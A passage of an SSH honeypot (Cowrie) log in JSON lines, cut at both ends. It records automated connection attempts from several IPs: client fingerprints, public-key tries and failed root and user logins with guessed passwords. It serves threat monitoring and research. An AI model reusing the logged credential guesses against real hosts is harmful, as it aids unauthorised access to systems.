ls4YCNO5kpPu4uVZnLaUizPszJgkdNxgSeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.420721Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:5e:31:49:8e:b5:72:bc:f6:de:d2:12:26:17:3e:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfq+AyOkk6MfgzYJ0v98pQD+1aOa2Mr8YQhf9ytBhtu02XyHCdXXRYDL2VBUA4OLDJNJh4Bwrb+go3rIMsBQEB3RP+Zr6ooJEHk0O+ODleHE4Us0O4iPNgQe/1rNmQiZkzh8Wr58LllFlseips1pvwfPcBai2XW1rs+sH+3INfSz28pzKSWd5ahPNfIv1Ikhl/ufR12JNom27hQQE+/lgWoTM7uTTJSh3nxF1SUCP4wVon6U/wH5N1WsifCGYy8g36uyCZRv6RA+r1Od01auw0AonOPau3oftbqpxT9PM4pG5TDG0E0oZAPq1oKP4YvhWxfO+NhqQxettwiXJrgHEVnlJrI9AwThiOuXTa4/nUV2tJo5OwTscgGQ5jUgrOh+g4CXYuEXHXkA7c66N77YOvuasMzdu0U2CU/BRZ2y4OMNaNRgJo3Rps1XKHx4iSWr4xe26wHqayz1iNAFFCilqZxPftKCDGqilrhpkIzo6M5a045vJTy88iejf5r7tRiWSF0pEYBKRbLHAWjwa9aEvBPfpQxe69g6fi0T+MttDbQXhupjeqfo8f3tDJQCuswiZuFw9FybLmhDtha8w+GRO5G1tEaLzWo4vzPLLrcTJNoyEtneE/ozRY+NQ2+lcqa6miiP3IadF36O6IQ4uYVUNx6Bpfowyd0DJplFCvIFoLKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:5e:31:49:8e:b5:72:bc:f6:de:d2:12:26:17:3e:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.553967Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:5e:31:49:8e:b5:72:bc:f6:de:d2:12:26:17:3e:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfq+AyOkk6MfgzYJ0v98pQD+1aOa2Mr8YQhf9ytBhtu02XyHCdXXRYDL2VBUA4OLDJNJh4Bwrb+go3rIMsBQEB3RP+Zr6ooJEHk0O+ODleHE4Us0O4iPNgQe/1rNmQiZkzh8Wr58LllFlseips1pvwfPcBai2XW1rs+sH+3INfSz28pzKSWd5ahPNfIv1Ikhl/ufR12JNom27hQQE+/lgWoTM7uTTJSh3nxF1SUCP4wVon6U/wH5N1WsifCGYy8g36uyCZRv6RA+r1Od01auw0AonOPau3oftbqpxT9PM4pG5TDG0E0oZAPq1oKP4YvhWxfO+NhqQxettwiXJrgHEVnlJrI9AwThiOuXTa4/nUV2tJo5OwTscgGQ5jUgrOh+g4CXYuEXHXkA7c66N77YOvuasMzdu0U2CU/BRZ2y4OMNaNRgJo3Rps1XKHx4iSWr4xe26wHqayz1iNAFFCilqZxPftKCDGqilrhpkIzo6M5a045vJTy88iejf5r7tRiWSF0pEYBKRbLHAWjwa9aEvBPfpQxe69g6fi0T+MttDbQXhupjeqfo8f3tDJQCuswiZuFw9FybLmhDtha8w+GRO5G1tEaLzWo4vzPLLrcTJNoyEtneE/ozRY+NQ2+lcqa6miiP3IadF36O6IQ4uYVUNx6Bpfowyd0DJplFCvIFoLKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.557572Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:44.688711Z","src_ip":"89.45.13.19","session":"d9caaa8eb778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46090,"dst_ip":"10.17.0.5","dst_port":22,"session":"14082427ad33","protocol":"ssh","message":"New connection: 80.94.92.184:46090 (10.17.0.5:22) [session: 14082427ad33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:46.504870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:46.595387Z","src_ip":"80.94.92.184","session":"14082427ad33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:46.831034Z","src_ip":"80.94.92.184","session":"14082427ad33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:47.817160Z","src_ip":"80.94.92.184","session":"14082427ad33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:46:48.944100Z","src_ip":"80.94.92.184","session":"14082427ad33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":38226,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5a53c39ef2","protocol":"ssh","message":"New connection: 103.27.238.120:38226 (10.17.0.5:22) [session: 8f5a53c39ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:08.604094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:08.609163Z","src_ip":"103.27.238.120","session":"8f5a53c39ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:08.879449Z","src_ip":"103.27.238.120","session":"8f5a53c39ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia2000","message":"login attempt [root/nokia2000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:09.676508Z","src_ip":"103.27.238.120","session":"8f5a53c39ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":57522,"dst_ip":"10.17.0.5","dst_port":22,"session":"670debb421ca","protocol":"ssh","message":"New connection: 172.110.219.251:57522 (10.17.0.5:22) [session: 670debb421ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:10.934739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:10.939461Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:10.951664Z","src_ip":"103.27.238.120","session":"8f5a53c39ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.044328Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:79:b3:cd:e7:fa:be:b7:24:11:42:1a:93:3f:27:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlfJazDSyBJV8COb2c5PBh+le7FRwoAIhDOuPBwgcWAvapOqtwG+dpFNG/AzS3fN0RzcAXF0+1/WZmJtowK5MjSVnm7liJ7MtnTDfZZaQpBgvlra/vxTd/89XcJ4aGLRaXWyxoRChDSHXqdE5BfiM7AInC0Gx224EWZCPH9R9TxfcKjAAG6X5m91n+oDMXhpRUtxpcQysnuZv7KxeVCfaIGwVXuv3UAaMbVE13X4k+21HEipAd8qeat/7RW4JRkHUskMo1KsI+k4WeVxesvbosNyfDsQLsptkVvjFQNw+gKfWRoema8fb2tsQA9tJajsYIH79azJjl5RiF9wZDwcdpQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:79:b3:cd:e7:fa:be:b7:24:11:42:1a:93:3f:27:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.531194Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:79:b3:cd:e7:fa:be:b7:24:11:42:1a:93:3f:27:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlfJazDSyBJV8COb2c5PBh+le7FRwoAIhDOuPBwgcWAvapOqtwG+dpFNG/AzS3fN0RzcAXF0+1/WZmJtowK5MjSVnm7liJ7MtnTDfZZaQpBgvlra/vxTd/89XcJ4aGLRaXWyxoRChDSHXqdE5BfiM7AInC0Gx224EWZCPH9R9TxfcKjAAG6X5m91n+oDMXhpRUtxpcQysnuZv7KxeVCfaIGwVXuv3UAaMbVE13X4k+21HEipAd8qeat/7RW4JRkHUskMo1KsI+k4WeVxesvbosNyfDsQLsptkVvjFQNw+gKfWRoema8fb2tsQA9tJajsYIH79azJjl5RiF9wZDwcdpQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.535093Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:db:fe:8d:01:93:f5:9a:e7:48:45:dd:5c:17:01:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Gee6XTwh1BlyLF1S/bG8T6IQWeCxoXs7/PBEKh4/MgccQHTvdBlvRBq5tmAwdVphiy0+j49Yf2lbluJW8iwuYm07xKsO3lhzKATTwk28GTF52EB2MudLJa/Jqwd9Lya75wcLHwMpgpCYiNHee6ETJG8SE4Dann6J5PVhAxgHohSwc+qLhfwJwNoOUo/7cmGL2LQeVJzk9+DEk6sNP2lwJLGd9bhtaL5kCxr+ak1X0h98CCXnaEAheEMX7r23V5SBTVPPN44GQRkDMJ7jF0n8SBkRkVB4dcjucKn2PutTajQA9VAC8mGAZ1s9kBgFjM5WeTcEoQSRkooFsXgSS5pvPZqshdXn45xAXkSt0x3U6sRHzY7T/uEUv5cwb4WQJVfk8+ld0pTCaIWvUAJBXkJsx/Rh421Xm0PtZnJCPO5aCzGiD9AaUkOi12lPZhPl8f01oTzE+4VZeA6RCX9iEXiqyPMzvtXuKvm/wEDnbQUbxt06EodIgKQu4jJ0zd3G0JWhrNbN1vXm/uWMxEXs86UVxpKrcZKa58X4+0+nDkKKbsgC3uwFI5K85l3CIVCZFIpJT/FXx9fxLy6eP1PU4rhG0YFp/LthSWSWGGSBFfW7DlPwRJJqdd3n1pwg+SCSt4UpPLsnduL4sj5IcsvylkQbd0NIJq2Bd4XyMGmeKWcn5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:db:fe:8d:01:93:f5:9a:e7:48:45:dd:5c:17:01:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.640334Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:db:fe:8d:01:93:f5:9a:e7:48:45:dd:5c:17:01:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3Gee6XTwh1BlyLF1S/bG8T6IQWeCxoXs7/PBEKh4/MgccQHTvdBlvRBq5tmAwdVphiy0+j49Yf2lbluJW8iwuYm07xKsO3lhzKATTwk28GTF52EB2MudLJa/Jqwd9Lya75wcLHwMpgpCYiNHee6ETJG8SE4Dann6J5PVhAxgHohSwc+qLhfwJwNoOUo/7cmGL2LQeVJzk9+DEk6sNP2lwJLGd9bhtaL5kCxr+ak1X0h98CCXnaEAheEMX7r23V5SBTVPPN44GQRkDMJ7jF0n8SBkRkVB4dcjucKn2PutTajQA9VAC8mGAZ1s9kBgFjM5WeTcEoQSRkooFsXgSS5pvPZqshdXn45xAXkSt0x3U6sRHzY7T/uEUv5cwb4WQJVfk8+ld0pTCaIWvUAJBXkJsx/Rh421Xm0PtZnJCPO5aCzGiD9AaUkOi12lPZhPl8f01oTzE+4VZeA6RCX9iEXiqyPMzvtXuKvm/wEDnbQUbxt06EodIgKQu4jJ0zd3G0JWhrNbN1vXm/uWMxEXs86UVxpKrcZKa58X4+0+nDkKKbsgC3uwFI5K85l3CIVCZFIpJT/FXx9fxLy6eP1PU4rhG0YFp/LthSWSWGGSBFfW7DlPwRJJqdd3n1pwg+SCSt4UpPLsnduL4sj5IcsvylkQbd0NIJq2Bd4XyMGmeKWcn5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.647121Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:ca:c0:1b:5d:cd:f6:3b:c7:db:ba:90:6b:c1:43:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHwyHE0I38Vc8NFthMyafaXvegBuGkqoG2QlC6czbrJzoJlUuzXBCmDO8RUrekpjlHVFyQiB/sLSeZ9zeMTD2ULhT6nbNHJHpWzpt6u4nWFPFo+z9c/uh6X7V46gdBRZ2swFZ5AVOvha6ey2DnmpswjZrjWyNkdTZ/Xw40ObfnM+bO9BwiG6IhbbkM4qSd/gJJQW1XyvjaivGqg1DE8lxblgWa+Ez0EAfGS2u1Wo5VRRGx+VhDusihashsom2PCkA3KciD/RYalR0rJtyU6g7o60uduIya9LshLCMGHQ6vrxWyD4aNReGY1leMJTe1r1SperBc6ZkVi9ZZUD2M7aT345ZWfluVXsdYkJ5WPdr1j3ybSg4ALT/N6CTAV5wXxNujTkDHDtBL01kslWygBln4NN+9RXVrY7Es7qjy1npW2kluXAN9yGS6bv3m7orwLH7qtVqjH/CxqBbgSp2dvq35AjEdOb/LKTmPV7AORY3x/+pwFlUBMpFQi70xaDgnd1tiTIJSd4ege4FYPia55voMg+hLjLdumYdp+xM3RqYy86bBQF0cHrZQIBrDdWxP5Ze1C36E1YG03FvCsn46EG9/bd453ln+bfb2/VA7MSiIHf6Wtti8SdqO8AKVcQsN4metd3LNAiRRkBFwJwwyuavxajVbYV/iRWZ23wqZQQeKPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:ca:c0:1b:5d:cd:f6:3b:c7:db:ba:90:6b:c1:43:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.750700Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:ca:c0:1b:5d:cd:f6:3b:c7:db:ba:90:6b:c1:43:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHwyHE0I38Vc8NFthMyafaXvegBuGkqoG2QlC6czbrJzoJlUuzXBCmDO8RUrekpjlHVFyQiB/sLSeZ9zeMTD2ULhT6nbNHJHpWzpt6u4nWFPFo+z9c/uh6X7V46gdBRZ2swFZ5AVOvha6ey2DnmpswjZrjWyNkdTZ/Xw40ObfnM+bO9BwiG6IhbbkM4qSd/gJJQW1XyvjaivGqg1DE8lxblgWa+Ez0EAfGS2u1Wo5VRRGx+VhDusihashsom2PCkA3KciD/RYalR0rJtyU6g7o60uduIya9LshLCMGHQ6vrxWyD4aNReGY1leMJTe1r1SperBc6ZkVi9ZZUD2M7aT345ZWfluVXsdYkJ5WPdr1j3ybSg4ALT/N6CTAV5wXxNujTkDHDtBL01kslWygBln4NN+9RXVrY7Es7qjy1npW2kluXAN9yGS6bv3m7orwLH7qtVqjH/CxqBbgSp2dvq35AjEdOb/LKTmPV7AORY3x/+pwFlUBMpFQi70xaDgnd1tiTIJSd4ege4FYPia55voMg+hLjLdumYdp+xM3RqYy86bBQF0cHrZQIBrDdWxP5Ze1C36E1YG03FvCsn46EG9/bd453ln+bfb2/VA7MSiIHf6Wtti8SdqO8AKVcQsN4metd3LNAiRRkBFwJwwyuavxajVbYV/iRWZ23wqZQQeKPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.754543Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:a8:d3:94:2c:e9:6b:9a:74:eb:e4:eb:96:c5:5e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpnPFkF5YFaKD94t/IGirInp6Z6O+FsrvcVnddmqFtUUUps/2qsUfNDEZPwd3oJ0GvKf9hmofKZrTyuJ8yu4cr0+G2xj0Z08h2QNMAcUQRLYia1zR6ToH3ZXOBIw9rin1Kf20YnM7zaf8HDsYT+5bmCLBM9x0gxggpOMqQEbP2epwVjVMZyYoq0xfkYAsgbum7Xp1CyKt6BA2A2wXWth/sZdAAxtyw8CTbn1yC17mnQLNaP3ZrmyuVbLaKbK6Oh2NXQZ+V+347gV2RbPXTf6q7YcCtheRgTDTmsiSThNbENis5zWqZFMVPH1AvB14TP4PqIezz2h1iQpNAI7jgRbeejzWvqwVjO2Kv/Da7Oe3xHc4/3iK3xVqjC9uNNU63kyyVeQjrbWe+lya8RV3xBsLE0qIitrwQk6mKayPkmhlfDQlP7FzNqzn1RvxqiTYI67zMLhg4Jms8eMFCHAnUbhCEv3fJgUGXyFY57XYlgdapTgqsvT95cXcM5wZPusFkMi1n6tyGNuufnsBfharXsfHVFo3EsnO1yFYKb1TKPeUu0EguuGqOyeoEfEAB+rk29l9dUatZwFKMcFZQ74YxYKZIgwHQvd3w6D/sn9VxO+De4QIW0VIJcAFHfhpP5zaSLVNUP7B1yK4Q3nQKz+SLtzqLn1ouDRzA7oHAI58mWKdSJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:a8:d3:94:2c:e9:6b:9a:74:eb:e4:eb:96:c5:5e:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.857378Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:a8:d3:94:2c:e9:6b:9a:74:eb:e4:eb:96:c5:5e:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpnPFkF5YFaKD94t/IGirInp6Z6O+FsrvcVnddmqFtUUUps/2qsUfNDEZPwd3oJ0GvKf9hmofKZrTyuJ8yu4cr0+G2xj0Z08h2QNMAcUQRLYia1zR6ToH3ZXOBIw9rin1Kf20YnM7zaf8HDsYT+5bmCLBM9x0gxggpOMqQEbP2epwVjVMZyYoq0xfkYAsgbum7Xp1CyKt6BA2A2wXWth/sZdAAxtyw8CTbn1yC17mnQLNaP3ZrmyuVbLaKbK6Oh2NXQZ+V+347gV2RbPXTf6q7YcCtheRgTDTmsiSThNbENis5zWqZFMVPH1AvB14TP4PqIezz2h1iQpNAI7jgRbeejzWvqwVjO2Kv/Da7Oe3xHc4/3iK3xVqjC9uNNU63kyyVeQjrbWe+lya8RV3xBsLE0qIitrwQk6mKayPkmhlfDQlP7FzNqzn1RvxqiTYI67zMLhg4Jms8eMFCHAnUbhCEv3fJgUGXyFY57XYlgdapTgqsvT95cXcM5wZPusFkMi1n6tyGNuufnsBfharXsfHVFo3EsnO1yFYKb1TKPeUu0EguuGqOyeoEfEAB+rk29l9dUatZwFKMcFZQ74YxYKZIgwHQvd3w6D/sn9VxO+De4QIW0VIJcAFHfhpP5zaSLVNUP7B1yK4Q3nQKz+SLtzqLn1ouDRzA7oHAI58mWKdSJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:47:11.861463Z","src_ip":"172.110.219.251","session":"670debb421ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:c7:72:d2:5b:76:50:e5:f5:2a:0a:86:21:cc:c2:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBwkny2JqB3bXHgFeLD3nWiRpxEmpk2fM9ake3842tqKI1HKrr6uXu4nRsqvyAQWgUmGMQldjIyPLy0A+Q6MCqCdVSQuS1pSFDUSSngVXXwk6fc3W1V+cgHt0dWO0EE7FKeE8J+42byuD3/tNoQE3AbkyvBPDDuEPuBIvuQQeHP8N2hzscArCyq/mLK0fJTv2k1aLiwcuDzYxakaI7SLDUVc/7OernTvyIvoOzPUgKS8g8aZwrr624a97X18r+NNfagBhQAqPTk0kZ0Qp5aHwQdz292jIE2omMp50zguhAMQsDyr0wZngw7dTwcGuJi9cxRag+y663reRyvwG4XMZxjOOMyDGiWJ2OyMBYuN4/qdyoY5xXXHSnxbHw+OfkpAPLnuVeZ44gTCQXFgFZ1KpVyFOp1NL+ueXeCWcT2nQfTJipMnyccjSdVyuINWA2g1aeHAsS0qp+iMssbNx9ay6NozgqMI5IAcBGLVNdaqMbc41OPqOpck5JYKQ5GhcbqV/D2bZ9XHRNdFK6toTeXLvJO4cp4pnvDqpxRuIQ2Hw5lLp5RDSEiMVD3MRZTpE2UJOZg9rlrj+JoaE8WjmStxXxu9M7HYK0GbFSNArYqt2Np1XzbR1QDRrKzL3s3WggMKLKu6IZoeabpa1w/6/asuofprd+XFr6m1CXNXpNL/NBuw==","type"